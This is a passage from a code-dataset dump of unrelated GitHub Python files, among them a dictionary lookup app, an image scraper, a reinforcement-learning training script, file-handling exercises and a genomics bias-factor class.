json.load(open('data.json'))\nprint(\"Welcome to the Interactive Dictionary\")\n# Function to return the definition of the word\ndef translate(w):\n\t# Check if the given word of the function call exists on the data file json\n\t# Turn the case insensitive\n\tw = w.lower()\n\tif w in data:\n\t\treturn data[w]\n\t# Check If the word given in the first word upper case (Ex: Portugal, Paris, etc...)\n\telif w.title() in data:\n\t\treturn data[w.title()]\n\telif w.upper() in data:\n\t\treturn data[w.upper()]\n\t# Verify if the given word have similiarity than another words\n\telif len(get_close_matches(w, data.keys())) > 0:\n\t\t# Asks if the user was meaning for the closest similiar given word\n\t\task_input = input(f'Did you mean {get_close_matches(w, data.keys())[0]} or {get_close_matches(w, data.keys())[1]} instead?\\nPlease write Yes or No: ').lower()\n\t\t# If the user was wrote yes\n\t\tif ask_input == 'yes':\n\t\t\t# Turn the variable given word to the closest similiarity word\n\t\t\t# Asks if is the first or the second word\n\t\t\task1or2 = input(f'1. {get_close_matches(w, data.keys())[0]}\\n2. {get_close_matches(w, data.keys())[1]}\\nChoose an word by typing the number: ')\n\t\t\t# If is the first word\n\t\t\tif ask1or2 == '1':\n\t\t\t\tw = get_close_matches(w, data.keys())[0]\n\t\t\t\t# Show the definition of the given word\n\t\t\t\treturn data[w]\n\t\t\t# If is the second word \n\t\t\telif ask1or2 == '2':\n\t\t\t\tw = get_close_matches(w, data.keys())[1]\n\t\t\t\t# Show the definition of the given word\n\t\t\t\treturn data[w]\n\t\t\telse:\n\t\t\t\treturn 'An error occured, please try again!'\n\t\t\t# Show the definition of the given word\n\t\t\treturn data[w]\n\t\t# If the user wrote no\n\t\telif ask_input == 'no':\n\t\t\ttry:\n\t\t\t\t# Show the definition of the given word\n\t\t\t\treturn data[w]\n\t\t\t# If there is no definition and doeśn't exists of the given word\n\t\t\texcept:\n\t\t\t\treturn \"The word doesn't exists. Please double check it.\"\n\t\t# If the user did't typed well\n\t\telse:\n\t\t\treturn \"An error occured. Didn't understand the given input.\"\n\telse:\n\t# If not exists the word in data file json key.\n\t\treturn \"The word doesn't exists. Please double check it.\"\n\n# Asks for the input of the user to return the definition\nword = input(\"Enter a word: \")\n\n# Run the function to return the definition of the given word in the input\n\n# Turn the output in an variable to print out strings inside of the list\noutput = translate(word)\n\n# Check if the output is an datatype as list\nif type(output) == list:\n\t# Make an for to show all strings inside of the list\n\tfor item in output:\n\t\t# Show all strings each one of the list\n\t\tprint(item)\n# If is not an list\nelse:\n\t# Show normal\n\tprint(output)","repo_name":"Khantanjil/interactive-dictionary","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"34483299943","text":"import xbmcaddon\nimport xbmcgui\n \naddon = xbmcaddon.Addon()\naddonname = addon.getAddonInfo('name')\n \nline1 = \"SNART ONLINE!\"\nline2 = \"HD MUSIC\"\nline3 = \"Darkzide inc!\"\nswfUrl = \"http://hdstream.one.by/jw/jwplayer.flash.swf\" \npageUrl = \"http://hdstream.one.by\"\n\nxbmcgui.Dialog().ok(addonname, line1, line2, line3, pageUrl, swfUrl)\n","repo_name":"Darkzide-Viking/HD-Music","sub_path":"addon.py","file_name":"addon.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"40371712717","text":"from selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver import Firefox\n\nimport os\nimport time\nimport requests\nimport shutil\nimport base64\n\nos.chdir('/home/nicolas/Desktop/Uni/WiSe21_22/DS_Project/data/google_images/low_resolution')\nbaseDir=os.getcwd()\n\noptions = Options()\noptions.add_argument(\"--disable-gpu\")\noptions.add_argument(\"--disable-extensions\")\noptions.add_argument('--proxy-server=\"direct://\"')\noptions.add_argument(\"--proxy-bypass-list=*\")\noptions.add_argument(\"--start-maximized\")\n#In headless mode, it is not \"displayed\", so you can only download around 100 items.\n\ndriver = Firefox(executable_path='/home/nicolas/anaconda3/lib/python3.9/site-packages/geckodriver_autoinstaller/v0.30.0/geckodriver')\n\n\n\n# queries\n\n\nnames = [\"Adidas Shoe\", \n \"Adidas Superstar\",\n \"Adidas Stan Smith\",\n \"Adidas Ultraboost\",\n \"Adidas Running\",\n \"Adidas Continental 80\",\n #\"Asics Sneaker\",\n \"Asics Gel\",\n \"Asics Tiger\",\n \"Birkenstock Arizona\",\n \"Birkenstock Madrid\",\n \"Birkenstock Gizeh\",\n \"sandals\",\n \"High Heels\",\n \"Louboutin Shoes\",\n \"Winter boot\",\n \"Autumn boot\",\n \"Converse chucks high\", \n \"Converse chucks low\",\n \"Crocs\",\n \"Dr. Martens Boots\",\n \"Dr. Marten low-level shoes\",\n \"Nike AirforceOne\",\n \"Nike Jordans\",\n \"Nike Running\",\n #\"Nike Sneaker\",\n \"Nike Blazer\",\n \"NewBalance Sneaker\",\n \"Puma Sneaker\",\n \"Reebok Sneaker\",\n \"Sketchers Sneaker\",\n \"Steve Madden Sneaker\",\n \"Timberland Boots\",\n \"Flipflops\",\n \"Anzugsschuhe\",\n \"suit shoe\",\n \"Tommy Hilfiger Sneaker\",\n \"UGG boots\",\n \"vans sneaker\",\n \"vans classic slip on\",\n \"vans old school\",\n \"Fila Sneaker\", \n \"Gucci Ace\", \n \"Kswiss sneaker\", \n \"lacoste sneaker\"]\n\n\nqueries = [x + \" outfit\" for x in names]\n\n\nfor n_query in range(len(queries)):\n \n file_name_base = names[n_query].replace(\" \", \"_\")\n query = queries[n_query]\n file_path = baseDir + \"/\" + file_name_base\n os.mkdir(file_path)\n\n\n url = (\"https://www.google.com/search?hl=jp&q=\" + \"+\".join(query.split()) + \"&btnG=Google+Search&tbs=0&safe=off&tbm=isch\")\n driver = Firefox(executable_path='/home/nicolas/anaconda3/lib/python3.9/site-packages/geckodriver_autoinstaller/v0.30.0/geckodriver')\n driver.get(url)\n\n #Scroll down appropriately--\n for t in range(5):\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(1.5)\n try:\n #Pressing the button \"Show more search results\"\n driver.find_element_by_class_name(\"mye4qd\").click() \n except:\n pass\n for t in range(5):\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight)\")\n time.sleep(1.5)\n\n srcs = driver.find_elements(By.XPATH, '//img[@class=\"rg_i Q4LuWd\"]')\n\n #Counter for assigning serial numbers to file names\n i = 0 \n\n print(\"Downloading...\")\n for j, src in enumerate(srcs):\n file_name_number = f\"{file_name_base + str(i)}.jpg\" \n if j % 50 == 0 or j == len(srcs)-1:\n print(\"|\"+ (\"■\" * (20 * j // (len(srcs)-1)))+ (\" -\" * (20 - 20 * j // (len(srcs)-1)))+ \"|\",f\"{100*j//(len(srcs)-1)}%\") #The one that shows the progress of the download\n #file_name = f\"{query}/{'_'.join(query.split())}_{str(i).zfill(3)}.jpg \" #File name or location\n file_name = os.path.join(file_path, file_name_number)\n src = src.get_attribute(\"src\")\n if src != None:\n #Convert to image--\n if \"base64,\" in src:\n with open(file_name, \"wb\") as f:\n f.write(base64.b64decode(src.split(\",\")[1]))\n \n \n \n else:\n res = requests.get(src, stream=True)\n with open(file_name, \"wb\") as f:\n shutil.copyfileobj(res.raw, f)\n\n i += 1\n\n #close the window\n driver.quit() \n print(f\"Download is complete. {i} images are downloaded.\")\n # pause for 5 minutes \n print(\"pause for 5 minutes\")\n print(\"break: 5 minutes left\")\n time.sleep(60)\n print(\"break: 4 minutes left\")\n time.sleep(60)\n print(\"break: 3 minutes left\")\n time.sleep(60)\n print(\"break: 2 minutes left\")\n time.sleep(60)\n print(\"break: 1 minutes left\")\n time.sleep(60)\n print(\"end of break\")","repo_name":"nicolasmollier/DS_Project","sub_path":"scripts/img_downloader_version2.py","file_name":"img_downloader_version2.py","file_ext":"py","file_size_in_byte":4670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"2900787440","text":"__name__ = 'timer'\n__description__ = 'Python Code Timer'\n__url__ = 'https://github.com/LucienShui/timer'\n__version_info__ = (0, 2, 2)\n__version__ = '.'.join(map(str, __version_info__))\n__build__ = eval(f\"0x{''.join(map(lambda x: f'{int(x):02d}', __version_info__))}\")\n__author__ = 'Lucien Shui'\n__author_email__ = 'lucien@lucien.ink'\n__license__ = 'Apache 2.0'\n__copyright__ = 'Copyright 2021 Lucien Shui'\n","repo_name":"LucienShui/timer","sub_path":"timer/__version__.py","file_name":"__version__.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"63"} +{"seq_id":"34498388154","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 27 22:54:47 2018\n\n@author: matthewszhang\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 12 23:36:56 2018\n\n@author: matthewszhang\n\"\"\"\n'''\nCredit to tingwu wang for implementation\n'''\nimport init_path\n\nfrom config import base_config\nfrom config import ecco_config\nfrom config import dqn_transfer_config\nfrom main.base_main import make_sampler, make_trainer, log_results\nfrom util import logger\nfrom util import parallel_util\nimport time\nfrom collections import OrderedDict\n\ndef make_joint_worker_trainer(worker_trainer_proto, models, args=None):\n return worker_trainer_proto(models, args, scope='pretrain')\n\ndef pretrain(worker_trainer, models, args=None):\n logger.info('Pretraining starts at {}'.format(\n init_path.get_abs_base_dir()))\n \n worker_trainer_agent = make_joint_worker_trainer(\n worker_trainer.trainer, models, args\n )\n \n weights = worker_trainer_agent.run()\n \n return weights\n\ndef train(trainer, sampler, worker, models,\n args=None, pretrain_weights=None):\n logger.info('Training starts at {}'.format(init_path.get_abs_base_dir()))\n \n # make the trainer and sampler\n sampler_agent = make_sampler(sampler, worker, models, args)\n trainer_tasks, trainer_results, trainer_agent, init_weights = \\\n make_trainer(trainer, models, args)\n \n init_weights = init_weights \\\n if pretrain_weights is None else pretrain_weights\n \n sampler_agent.set_weights(init_weights)\n\n timer_dict = OrderedDict()\n timer_dict['Program Start'] = time.time()\n current_iteration = 0\n\n while True:\n timer_dict['** Program Total Time **'] = time.time()\n\n training_info = {}\n rollout_info = {}\n \n if current_iteration < args.train_dqn_iterations:\n training_info['train_model'] = 'base'\n rollout_info['rollout_model'] = 'base'\n \n elif current_iteration < (args.train_dqn_iterations + \\\n args.train_transfer_iterations):\n training_info['train_model'] = 'transfer'\n rollout_info['rollout_model'] = 'transfer'\n \n else:\n training_info['train_model'] = 'final'\n rollout_info['rollout_model'] = 'final'\n \n if args.freeze_actor_final:\n training_info['train_net'] = 'manager'\n \n elif args.decoupled_managers:\n if (current_iteration % \\\n (args.manager_updates + args.actor_updates)) \\\n < args.manager_updates:\n training_info['train_net'] = 'manager'\n \n else:\n training_info['train_net'] = 'actor'\n \n else:\n training_info['train_net'] = None\n \n rollout_data = \\\n sampler_agent._rollout_with_workers(rollout_info)\n\n timer_dict['Generate Rollout'] = time.time()\n\n trainer_tasks.put(\n (parallel_util.TRAIN_SIGNAL,\n {'data': rollout_data['data'], 'training_info': training_info})\n )\n trainer_tasks.join()\n training_return = trainer_results.get()\n timer_dict['Train Weights'] = time.time()\n\n # step 4: update the weights\n sampler_agent.set_weights(training_return['network_weights'])\n timer_dict['Assign Weights'] = time.time()\n\n # log and print the results\n log_results(training_return, timer_dict)\n \n if current_iteration == args.train_dqn_iterations:\n trainer_tasks.put(\n (parallel_util.SAVE_SIGNAL,\n {'net': 'base'})\n )\n \n elif current_iteration == \\\n (args.train_dqn_iterations + args.train_transfer_iterations):\n trainer_tasks.put(\n parallel_util.SAVE_SIGNAL,\n {'net': 'transfer'}\n )\n\n elif training_return['totalsteps'] > args.max_timesteps:\n trainer_tasks.put(\n parallel_util.SAVE_SIGNAL,\n {'net': 'final'}\n )\n\n #if totalsteps > args.max_timesteps:\n if training_return['totalsteps'] > args.max_timesteps:\n break\n else:\n current_iteration += 1\n\n # end of training\n sampler_agent.end()\n trainer_tasks.put((parallel_util.END_SIGNAL, None))\n\ndef main():\n parser = base_config.get_base_config()\n parser = ecco_config.get_ecco_config(parser)\n parser = dqn_transfer_config.get_dqn_transfer_config(parser)\n args = base_config.make_parser(parser)\n\n if args.write_log:\n logger.set_file_handler(path=args.output_dir,\n prefix='ecco_ecco' + args.task,\n time_str=args.exp_id)\n\n print('DQN_TRANSFER_MAIN.PY is Deprecated, do not use')\n print('Training starts at {}'.format(init_path.get_abs_base_dir()))\n from trainer import dqn_transfer_trainer\n from runners import dqn_transfer_task_sampler\n from runners.workers import dqn_transfer_worker\n from policy import ecco_pretrain\n from policy import dqn_base, a2c_base\n from policy import ecco_transfer\n \n base_model = {\n 'dqn': dqn_base, 'a2c':a2c_base \n }[args.base_policy]\n \n models = {'final': ecco_pretrain.model, 'transfer': ecco_transfer.model,\n 'base': base_model.model}\n\n pretrain_weights = None\n\n train(dqn_transfer_trainer.trainer, dqn_transfer_task_sampler, \n dqn_transfer_worker, models, args, pretrain_weights)\n \nif __name__ == '__main__':\n main()\n","repo_name":"matthewzhang1998/ecco","sub_path":"main/dqn_transfer_main.py","file_name":"dqn_transfer_main.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"40550231792","text":"import requests\n\n#url = 'http://trailerrental.pythonanywhere.com/towit/tracker_debug'\nurl = 'http://localhost:8000/towit/tracker_debug'\n\n\n \ndef upload_data(msg_type: str):\n# Upload data to the remote server\n msg = None\n\n if msg_type == \"wake\":\n msg = \"{},{},{},{},{},{},{},{}\".format(\n \"wake\",\n 865235030873836,\n 5,\n 1,\n 3985,\n 130,\n 0,\n 1\n )\n\n if msg_type == \"error\":\n msg = \"{},{},{},{},{},{},{}\".format(\n \"error\",\n 865235030873836,\n 2,\n 0,\n 4123,\n 346,\n 105\n )\n\n if msg_type == \"gps\":\n msg = \"{},{},{},{},{},{},{:.5f},{:.5f},{},{},{},{},{}\".format(\n 'gps',\n 865235030873836,\n 1,\n 1,\n 4123,\n 0,\n 41.64403, # latitude\n -108.54682, # longitude\n 102, # speed_kph\n 85, # headi11ng\n 4, # Number of sats\n 346,\n 105\n )\n\n if msg is not None: \n x = requests.post(url, data = msg)\n print(x.text) \n else:\n print(\"Unknown message type: {}\".format(msg_type)) \n\nupload_data(\"wake\")","repo_name":"vladimir1284/TrailerRental","sub_path":"trailer_rental/towit/upload_debug_data.py","file_name":"upload_debug_data.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"20024213623","text":"\"\"\"\nContext of the testing environment.\n\nStores the following:\n- Job, Sequence, Shot\n- User\n- Date, Time\n- Running Host Application\n- Computer Host Name (???)\n- Asset Instances objects (???)\n- Collector objects (???)\n- Validator objects (???)\n- etc.\n\"\"\"\n\nimport os\nimport getpass\nimport socket\n\nimport assetQC.api.register\nimport assetQC.api.utils\nimport assetQC.api.assetInstance\nimport assetQC.api.baseDataObject\nimport assetQC.api.logger\n\n\nclass Context(assetQC.api.baseDataObject.BaseDataObject):\n \"\"\"\n Defines the Context ('state') the 'assetQC' process is executed in.\n \n 'Context' is used to hold plugins and Asset Instances to be operated on by \n the 'assetQC' process. \n \n Allows read-only access to system information.\n \"\"\"\n\n def __init__(self,\n pluginManager=None,\n root=None,\n hostApp=None):\n super(Context, self).__init__()\n assert root is None or isinstance(root, str)\n assert hostApp is None or isinstance(hostApp, str)\n\n # user data\n self.__environ = dict(os.environ)\n self.__operatingSystem = os.name\n self.__userName = getpass.getuser()\n self.__hostName = socket.gethostname()\n self.__hostApplication = assetQC.api.utils.HOST_APP_ALL\n if hostApp is None:\n self.__hostApplication = assetQC.api.utils.getHostApplication()\n elif hostApp:\n self.__hostApplication = hostApp\n self.__rootDirectory = os.getcwd()\n if root:\n self.__rootDirectory = root\n\n # plugins\n self.__pluginManager = None\n if isinstance(pluginManager, assetQC.api.register.PluginManager):\n self.__pluginManager = pluginManager\n assetQC.api.register.importAllPlugins()\n else:\n self.__pluginManager = assetQC.api.register.getPluginManager()\n assetQC.api.register.importAllPlugins()\n\n # assets\n self.__instances = {}\n\n # logging\n name = self.getClassName()\n name = assetQC.api.logger.BASE_LOG_NAME + '.' + name\n self.__logger = assetQC.api.logger.getLogger(name)\n\n @property\n def logger(self):\n return self.__logger\n\n def getEnvVar(self, name, default=None):\n return self.__environ.get(name, default)\n\n def getRootDirectory(self):\n return self.__rootDirectory\n\n def getUserName(self):\n return self.__userName\n\n def getUserEmailAddress(self):\n name = self.getUserName()\n host = self.getHostName()\n return '{0}@{1}'.format(name, host)\n\n def getHostApp(self):\n return self.__hostApplication\n\n def getHostName(self):\n return self.__hostName\n\n def getPluginManager(self):\n return self.__pluginManager\n\n def getInstances(self,\n sortByName=False,\n sortByDataKeyword=False,\n dataKeyword=None):\n instances = []\n if not sortByName:\n for name in self.__instances:\n instances.append(self.__instances[name])\n\n if sortByName:\n # sort by asset type and name\n instanceNames = {}\n for name in self.__instances:\n instance = self.__instances[name]\n aType = instance.getAssetType()\n key = aType + '_' + name\n instanceNames[key] = instance\n instances = []\n for key in sorted(instanceNames):\n instances.append(instanceNames[key])\n\n elif sortByDataKeyword:\n # sort by arbitrary keyword\n instanceNames = {}\n for instance in instances:\n key = instance.data[dataKeyword]\n instanceNames[key] = instance\n instances = []\n for key in sorted(instanceNames):\n instances.append(instanceNames[key])\n return instances\n\n def hasInstance(self, name):\n if name in self.__instances:\n return True\n return False\n\n def addInstances(self, values):\n for value in values:\n self.addInstance(value)\n\n def addInstance(self, value):\n assert isinstance(value, assetQC.api.assetInstance.AssetInstance)\n name = value.getName()\n if not self.hasInstance(name):\n self.__instances[name] = value\n return True\n\n def clearInstances(self):\n self.__instances = {}\n","repo_name":"david-cattermole/assetQC","sub_path":"python/assetQC/api/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":4449,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"63"} +{"seq_id":"40286633241","text":"import sys\n\n#input\nN = int(sys.stdin.readline())\nlevels = list()\nfor _ in range(N):\n levels.append(int(sys.stdin.readline()))\n\n#뒤집어서 생각\nlevels.reverse()\n\n#로직 -> 이전 값보다 1작게 . 이전값보다 이미 작으면 그대로.\nres = 0\nfor idx in range(1,len(levels)):\n # 현재값이 크면안된다. 현재값은 이전값 -1 보다 같거나 작아야한다.\n if levels[idx-1] - 1 < levels[idx]:\n #현재값 - (이전값 - 1) 을 res에 더한다.\n res += levels[idx] - (levels[idx-1] - 1)\n #현재값을 이전값 -1 로 맞춘다.\n levels[idx] = levels[idx-1] - 1\n\n#output\nprint(res)","repo_name":"DKU-STUDY/Algorithm","sub_path":"BOJ/2847.게임을 만든 동준이/6047198844.py","file_name":"6047198844.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"ko","doc_type":"code","stars":147,"dataset":"github-code","pt":"63"} +{"seq_id":"2033125092","text":"import pandas as pd\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\n\ndata = pd.read_csv('travel_insurance_preprocessed.csv')\n\ntarget = data['Claim']\nfeatures = data.drop('Claim', axis=1)\nfeatures_train, features_valid, target_train, target_valid = train_test_split(\n features, target, test_size=0.25, random_state=12345)\n\nmodel = DecisionTreeClassifier(random_state=12345)\nmodel.fit(features_train, target_train)\n\npredicted_valid = model.predict(features_valid)\naccuracy_valid = accuracy_score(target_valid, predicted_valid)\nprint(accuracy_valid)\n\nclass_frequency = data['Claim'].value_counts(normalize=True)\nprint(class_frequency)\nclass_frequency.plot(kind='bar')\n\npredicted_valid = pd.Series(model.predict(features_valid))\nclass_frequency = predicted_valid.value_counts(normalize=True)\nprint(class_frequency)\nclass_frequency.plot(kind='bar')\n\ntarget_pred_constant = pd.Series(np.zeros(len(data))).astype(int)\nprint(accuracy_score(target, target_pred_constant))\n\n\n\n\n","repo_name":"mishacausur/tobear","sub_path":"machine/first_t/les_2.py","file_name":"les_2.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"35042472860","text":"from elasticsearch_dsl.query import Q, MultiMatch, SF\nfrom .documents import TalkDocument\n\n\ndef get_search_query(phrase):\n query = Q(\n 'function_score',\n query=MultiMatch(\n fields=['name', 'description', 'speaker', 'transcript'],\n query=phrase\n ),\n functions=[\n SF('field_value_factor', field='number_of_views')\n ]\n )\n return TalkDocument.search().query(query)\n\n\ndef search(phrase):\n return get_search_query(phrase).to_queryset()\n","repo_name":"denisorehovsky/django-elasticsearch-ted-talks","sub_path":"talks/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"63"} +{"seq_id":"15703003003","text":"from pathlib import Path\nimport shutil\n\nfile_path = Path.home() / \"my_folder/\"\nfile_path.mkdir(exist_ok=True)\nfile = [file_path / \"file1.txt\",\n file_path / \"file2.txt\",\n file_path / \"image1.png\"]\n\nfor files in file:\n files.touch()\n\npath = file_path / \"images/\"\npath.mkdir(exist_ok=True)\n\nsource = file_path / \"image1.png\"\ndestination = path / \"image1.png\"\nsource.replace(destination)\n\nfile1_delete = file_path / \"file1.txt\"\nfile1_delete.unlink(missing_ok=True)\n# my_folder_delete = Path.home()/\"my_folder/\"\n# my_folder_delete.rmdir()\n\nshutil.rmtree(file_path)\n\nnew_dir = Path(r\"C:\\Users\\Tinuade\\PycharmProjects\\pythonProject\\files_learning\\new directory\")\nfolder = new_dir / \"images/\"\nfolder.mkdir(exist_ok=True)\n\nimage = [new_dir / \"folder_a\" / 'folder_b' / \"pic.png\",\n new_dir / \"folder_a\" / 'folder_b' / \"joe.img\",\n new_dir / \"folder_a\" / 'folder_b' / \"thicknu.gif\",\n new_dir / \"folder_a\" / 'folder_b' / \"C14.jpg\", ]\nfor images in image:\n images.touch()\n\nsource = new_dir / \"folder_a\" / 'folder_b' / \"pic.png\"\ndestination = new_dir/\"images\"/\"image1.png\"\nsource.replace(destination)\n\nsource = new_dir / \"folder_a\" / 'folder_b' / \"joe.img\"\ndestination = new_dir/\"images\"/\"image2.img\"\nsource.replace(destination)\n\nsource = new_dir / \"folder_a\" / 'folder_b' / \"thicknu.gif\"\ndestination = new_dir/\"images\"/\"image3.gif\"\nsource.replace(destination)\n\nsource = new_dir / \"folder_a\" / 'folder_b' / \"C14.jpg\"\ndestination = new_dir/\"images\"/\"image4.jpg\"\nsource.replace(destination)\n","repo_name":"Omotinuade/phyton_exercises","sub_path":"files_learning/new directory/files_assignment.py","file_name":"files_assignment.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"1776733195","text":"import sys\nimport os\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../..')))\nos.environ[\"PYTHONPATH\"] = os.path.abspath(os.path.join(os.path.dirname(__file__), '../..')) # required by Ray, which is\n# used by modin\nfrom liquorice.utils.BiasFactorWeights import *\nimport numpy as np\nimport modin.pandas as modinpd\nimport pandas as pd\nimport logging\nimport swifter\nfrom datetime import datetime\nfrom typing import List,Dict\n\nclass BiasFactorHandler:\n \"\"\"\n Object used for calculation of per-bin bias factors. Typically, after creation of the object a user would call\n its method :func:`.get_table_with_bias_factors` on it, and save the returned `DataFrame` for subsequent analysis\n and correction of associations of bias factors with coverage.\n\n :param binsize: Size of the bins. Higher values to reduce noise, lower values increase spatial\n resolution.\n\n :param fragments: A list containing fragment lengths that are representative of the sample's global fragment\n size distribution. Typically a few hundred fragments will suffice here.\n :param readlength: Average length of reads in the .bam file.\n :param df: `pandas.DataFrame` with one row per bin, containing columns \"chromosome\", \"start\", \"end\",\n \"bin nr.\", \"coverage\", \"sequence\", and \"mappability\". Suitable input is the output of the\n :func:`get_complete_table` method of the :attr:`liquorice.utils.CoverageAndSequenceTablePreparation` class\n object.\n :param n_cores: Max number of cores to use for calculations.\n :param skip_these_biasfactors: Do not calculate these bias factors. Only these entries are allowed:\n [\"di and trinucleotides and GC content\",\"mappability\", \"di and trinucleotides\"]\n \"\"\"\n\n def __init__(self, binsize: int, fragments: List[int], readlength: int, df: pd.DataFrame,\n n_cores: int = 1, skip_these_biasfactors: List[str] = []) -> None:\n\n self.binsize=binsize\n self.readlength=readlength\n\n self.fragments=fragments\n self.longest_frag=max(fragments)\n\n self.df=df\n\n self.GC_weights=get_GC_weights_binwide(binsize=binsize,fragments=fragments)\n self.dinuc_weights=get_dinuc_weights_binwide(self.GC_weights)\n self.trinuc_weights=get_trinuc_weights_binwide(self.GC_weights)\n self.total_GC_weight=sum(self.GC_weights)\n self.total_dinuc_weight=sum(self.dinuc_weights)\n self.total_trinuc_weight=sum(self.trinuc_weights)\n\n self.fwd_mapp_weights,self.rev_mapp_weights=get_mapp_weights_binwide(binsize=binsize,fragments=fragments)\n self.total_fwd_mapp_weight,self.total_rev_mapp_weight=sum(self.fwd_mapp_weights),sum(self.rev_mapp_weights)\n\n self.dinucdict, self.trinucdict, self.revcompdict = get_nucleotide_dicts()\n\n self.n_cores=n_cores\n\n for item in skip_these_biasfactors:\n if item not in [\"di and trinucleotides and GC content\",\"mappability\", \"di and trinucleotides\"]:\n raise ValueError('skip_these_biasfactors may only contain the following items: '\n '\"di and trinucleotides and GC content\",'\n '\"mappability\", \"di and trinucleotides\"')\n self.skip_these_biasfactors=skip_these_biasfactors\n\n def get_GC_and_di_and_trinuc_weights(self, sequence: str) -> Dict[str,float]:\n \"\"\"\n Calculate bias factors for GC-content as well as bias factors for all di- and trinucleotides\n (reverse and forward complements merged into single factors) for a given sequence. Factors are scaled between\n 0 and 1, 1 is highest (e.g. GC content: 0.. no G or C, 0.461... average GC content, 1... only G and C).\n\n :param sequence: Genomic sequence of the bin extended by *max(* :attr:`.fragments` *)* in both directions,\n such that its length matches :attr:`GC_weights`.\n :return: A dictionary with entries corresponding to the bias factors for GC-content as well as bias factors\n for all di- and trinucleotides (reverse and forward complements merged into single factors).\n \"\"\"\n if type(sequence)!=str: # Required because swifter calls this function with a series as sequence once, and\n # and does not handle the RunTimeError below properly.\n raise TypeError(f\"The input to this function must be a str, but was {type(sequence)}.\")\n GC_list=[]\n dinuc_res_dict=self.dinucdict.copy()\n trinuc_res_dict=self.trinucdict.copy()\n\n # start_time=datetime.now()\n for pos in range(len(sequence)):\n subseq=sequence[pos:pos+3]\n dinuc_weight=self.dinuc_weights[pos]\n trinuc_weight=self.trinuc_weights[pos]\n\n ### GC part ###\n nuc=subseq[0]\n if nuc==\"G\" or nuc==\"g\" or nuc==\"c\" or nuc==\"C\":\n GC_at_pos=1\n elif nuc==\"A\" or nuc==\"a\" or nuc==\"t\" or nuc==\"T\":\n GC_at_pos=0\n elif nuc==\"N\" or nuc==\"n\":\n GC_at_pos=0.461 #0.461 is the genome-wide GC content mean\n else:\n logging.error(f\"Unexpected letter '{nuc}' encountered in genomic sequence.\")\n raise RuntimeError\n GC_list.append(GC_at_pos)\n\n ### Dinucleotide part ###\n dinuc=subseq[:2].upper()\n # try:\n # weight=(GC_weights_subsetted[0]+GC_weights_subsetted[1])/2\n try:\n dinuc_res_dict[dinuc]+=dinuc_weight\n except KeyError: # if the dinuc. is not a key in the dict, usually its reverse complement should be\n try:\n dinuc_revcomp=self.revcompdict[dinuc]\n dinuc_res_dict[dinuc_revcomp]+=dinuc_weight\n except KeyError:\n assert len(dinuc)<2 or \"N\" in dinuc # if at last position or an \"N\" is contained\n pass\n # except IndexError: # this happens if we are looking at the last position\n # pass\n\n ### Trinucleotide part ###\n trinuc=subseq.upper()\n # try:\n # weight=(GC_weights_subsetted[0]+GC_weights_subsetted[1]+GC_weights_subsetted[2])/3\n try:\n trinuc_res_dict[trinuc]+=trinuc_weight\n except KeyError: # if the trinuc. is not a key in the dict, usually its reverse complement should be\n try:\n trinuc_revcomp=self.revcompdict[trinuc]\n trinuc_res_dict[trinuc_revcomp]+=trinuc_weight\n except KeyError:\n assert len(trinuc)<3 or \"N\" in trinuc # if at (second-to-) last position or an \"N\" is contained\n pass\n # except IndexError:\n # pass\n\n ## Normalize, combine and return result\n GC_bias_factor={\"GC content\":sum(np.array(GC_list)*np.array(self.GC_weights)) / self.total_GC_weight}\n dinuc_res_dict={key:value/self.total_GC_weight for key, value in dinuc_res_dict.items()}\n trinuc_res_dict={key:value/self.total_GC_weight for key, value in trinuc_res_dict.items()}\n\n res=trinuc_res_dict\n res.update(dinuc_res_dict)\n res.update(GC_bias_factor)\n\n return res\n\n\n\n def get_GC_bias_factor(self, sequence: str) -> float:\n \"\"\"\n Returns a number in the range 0-1 that represents the bin's overall GC bias. Factors are scaled between\n 0 and 1, 1 is highest (e.g. GC content: 0.. no G or C, 0.461... average GC content, 1... only G and C).\n\n :param sequence: Genomic sequence of the bin extended by *max(* :attr:`.fragments` *)* in both directions,\n such that its length matches :attr:`GC_weights`.\n :return: A number in the range 0-1 that represents the bin's overall GC bias.\n \"\"\"\n\n if type(sequence)!=str: # Required because swifter calls this function with a series as sequence once, and\n # and does not handle the RunTimeError below properly.\n raise TypeError(f\"The input to this function must be a str, but was {type(sequence)}.\")\n GC_list=[]\n\n # start_time=datetime.now()\n for pos in range(len(sequence)):\n subseq=sequence[pos:pos+3]\n\n ### GC part ###\n nuc=subseq[0]\n if nuc==\"G\" or nuc==\"g\" or nuc==\"c\" or nuc==\"C\":\n GC_at_pos=1\n elif 